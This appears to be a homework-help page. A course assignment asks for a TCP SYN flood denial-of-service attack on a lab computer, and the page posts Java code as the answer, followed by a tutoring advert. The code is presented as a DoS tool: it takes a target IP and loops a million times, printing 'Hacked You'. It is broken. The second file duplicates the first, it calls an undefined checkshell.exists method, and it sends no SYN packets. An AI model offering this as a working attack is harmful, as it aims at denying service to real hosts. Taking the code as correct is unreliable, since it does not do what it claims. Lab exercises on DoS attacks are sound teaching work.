Academic Integrity: tutoring, explanations, and feedback — we don’t complete graded work or submit on a student’s behalf.

Note: It should be done in Java or C++. -In order to test the script, you should

ID: 3775886 • Letter: N

Question


Note: It should be done in Java or C++.
-In order to test the script, you should be able to set the host and local addresses as your computer IP address.

3. TCP SYN Flooding Attack Implementation Exercise (60pts) The goal of this assignment is to give you a deeper grasp of TCP vulnerabilities and the DoS attack via SYN Flooding discussed in the class. You will be implementing SYN flooding for mounting a DoS attack in one of the computers in the EIC Computer Lab (3278) using any programming language. You may use any scanner (e.g., Nmap) to figure out the open ports at the destination machine.

Explanation / Answer

*************************************dos.Java*********************************


package dos;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Scanner;
import java.io.BufferedWriter;
import java.io.IOException;


public class dos extends Socket implements Runnable {
static dos d1 = new dos();

public static void main(String[] args) {
new Thread(d1).start();
}

public void run() {
Scanner scanner = new Scanner(System.in);
System.out.println("Lets begin...!!! ");
System.out.println("Enter the Ip Address for DoS : ");
String ip = scanner.nextLine();
String TARGET = ip;
if(ip == null || ip.length() == 0) {
System.out.println("Please enter correct ip address");
}

for (int i = 1; i < 1000000; i++) {
if ((checkshell.exists("http://"+TARGET+"")) == true) {   
System.out.println("Hacked You...!!!" + i+" Times with " +i+" Connection !!!");
}
else{
if ((checkshell.exists("http://"+TARGET+"")) == false) {
System.out.println("Trying again...! " +i+" Connection !!!");
}
}

}
}

public static void sendRLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
System.out.println("Target Offline ....");
}
}
}

***********************************checkshell.java*******************************************


package dos;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Scanner;
import java.io.BufferedWriter;
import java.io.IOException;


public class dos extends Socket implements Runnable {
static dos d1 = new dos();

public static void main(String[] args) {
new Thread(d1).start();
}

public void run() {
Scanner scanner = new Scanner(System.in);
System.out.println("Lets begin...!!! ");
System.out.println("Enter the Ip Address for DoS : ");
String ip = scanner.nextLine();
String TARGET = ip;
if(ip == null || ip.length() == 0) {
System.out.println("Please enter correct ip address");
}

for (int i = 1; i < 1000000; i++) {
if ((checkshell.exists("http://"+TARGET+"")) == true) {   
System.out.println("You are hacked" + i+" Times with " +i+" Connection !!!");
}
else{
if ((checkshell.exists("http://"+TARGET+"")) == false) {
System.out.println("Error after " +i+" Connection !!!");
}
}

}
}

public static void sendRawLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
System.out.println("Target Offline ....");
}
}
}

Hire Me For All Your Tutoring Needs
Integrity-first tutoring: clear explanations, guidance, and feedback.
Drop an Email at
drjack9650@gmail.com
Chat Now And Get Quote